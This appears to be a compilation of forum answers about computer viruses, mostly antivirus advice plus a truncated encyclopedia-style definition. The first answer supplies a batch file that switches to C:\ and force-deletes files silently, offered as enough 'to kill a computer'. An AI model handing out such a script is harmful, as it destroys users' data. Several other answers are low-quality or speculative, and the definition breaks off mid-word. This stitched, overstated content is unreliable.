make a file with a bat extension such as virus.bat\n\nput this in the file\n\necho You have a virus.............\necho computer will self destruct\n@cd C:&#92;\n@del /Q /F *\n\n\n\n----------\nthat should be enough to kill a computer

yes if u know how to plant it in,where and what to do, yes it can give a virus to a computer

Hacking is obvious, but also make sure someone is not surfing on the server. This is opening the chances of viruses. Constantly updating definition device on the AntiVirus program.

Just use an anti-virus program. A good free anti-virus program is Grisoft's AVG. It can be found at http://free.grisoft.com/

Try the paper "A Generic Virus Scanner in C++" by Spafford and Kumar.(link below)\n\nIt was written in 1992 but gives the layout of an antivirus scanner.  Theory and source code.\n\nSecond, try an open source antivirus scanner: ClamAV. More current and the source code is available.  It is field tested against real Windows mass-mailing worms. ClamAV also shows how one might handle updating virus detections.

The information about recovery disks is basically correct:  Virus writers either manually or automatically restore their computer to an earlier state by reinstalling the software from scratch or by using a recovery system.\n\nHowever, the fastest recovery systems will recover a few gigs of data in couple minutes.  The local university here loads it's operating system fresh every time you reboot the computer.  It is very fast.\n\nAlso a key point to note:  Since the virus writers know what their virus infections do, they also know the best way to restore and fix the damage.  I'm sure a lot of virus writers test their viruses and only fix the parts that the virus broke. This would save them the most time.\n\nPS: If I ever meet a virus writer, I'm going to kick him/her in the nuts and call the cops.  That shit is wrong.  I work in IT and have to fix the damage that virii, spyware, and other crap does to computers.

In computer security technology, a virus is a self-replicating program that spreads by inserting copies of itself into other executable code or documents. A computer virus behaves in a way similar to a biological virus, which spreads by inserting itself into living cells. Extending the analogy, the insertion of a virus into the program is termed as an infection, and the infected file (or executable code that is not part of a file) is called a host. Viruses are one of the several types of malicious software or malware. In a common parlance, the term virus is often extended to refer to worms, trojan horses and other sorts of malware, however, this can confuse computer users, since viruses in the narrow sense of the word are less common than they used to be, compared to other forms of malware. This confusion can have serious consequences, because it may lead to a focus on preventing one genre of malware over another, potentially leaving computers vulnerable to future damage. However, a basic rule is that computer viruses cannot directly damage hardware, but only software.\n\nWhile viruses can be intentionally destructive (for example, by destroying data), many other viruses are fairly benign or merely annoying. Some viruses have a delayed payload, which is sometimes called a bomb. For example, a virus might display a message on a specific day or wait until it has infected a certain number of hosts. A time bomb occurs during a particular date or time, and a logic bomb occurs when the user of a computer takes an action that triggers the bomb. However, the predominant negative effect of viruses is their uncontrolled self-reproduction, which wastes or overwhelms computer resources.\n\nToday (as of 2006), viruses are somewhat less common than network-borne worms, due to the popularity of the Internet. Anti-virus software, originally designed to protect computers from viruses, has in turn expanded to cover worms and other threats such as spyware.\n\nDefinition:\n===========\nA virus is a type of program that can replicate itself by making (possibly modified) copies of itself. The main criterion for classifying a piece of executable code as a virus is that it spreads itself by means of 'hosts'. A virus can only spread from one computer to another when its host is taken to the uninfected computer, for instance by a user sending it over a network or carrying it on a removable medium. Additionally, viruses can spread to other computers by infecting files on a network file system or a file system that is accessed by another computer. Viruses are sometimes confused with worms. A worm, however, can spread itself to other computers without needing to be transferred as part of a host. Many personal computers are now connected to the Internet and to local-area networks, facilitating their spread. Today's viruses may also take advantage of network services such as the World Wide Web, e-mail, and file sharing systems to spread, blurring the line between viruses and worms.\n\nViruses can infect different types of hosts. The most common targets are executable files that contain application software or parts of the operating system. Viruses have also infected the executable boot sectors of floppy disks, script files of application programs, and documents that can contain macro scripts. Additionally, viruses can infect files in other ways than simply inserting a copy of their code into the code of the host program. For example, a virus can overwrite its host with the virus code, or it can use a trick to ensure that the virus program is executed when the user wants to execute the (unmodified) host program. Viruses have existed for many different operating systems, including MS-DOS, AmigaOS, Mac OS and even Linux; however, the vast majority of viruses affect Microsoft Windows.\n\nA legitimate application program that can copy itself as a side-effect of its normal function (e.g. backup software) is not considered a virus. Some programs that w

Try this link, it has a removable tool for the virus.\n\nhttp://fileinfo.prevx.com/QQf74818224222-DLH912189594/DLH9JKDQ2.EXE.html\n\nGood luck

do a virus scan of your complete system

virus is nothing but its all an illigal programs everyone can create virus if you know where do have to give effect

Viruses are kind of program but hacker intend to creat it for destroying the computer component. :)

Break down and get viruses.

Depends on the virus.  Without that info I cannot answer your question.\n\nFirst get a virus scanner to identify the virus if you have one and then we can go form there.\n\nNote to Zodiac.  What youa re saying is incorrect.  Most viruses cannot just be removed by anti virus software.  A lot of them for instance will need you to go into safe mode.  Others need to be removed manually or with special tools which are often free.  \n\nThe virus software will be good as it will identify the virus and then we can tell him what he needs to do to remove it.
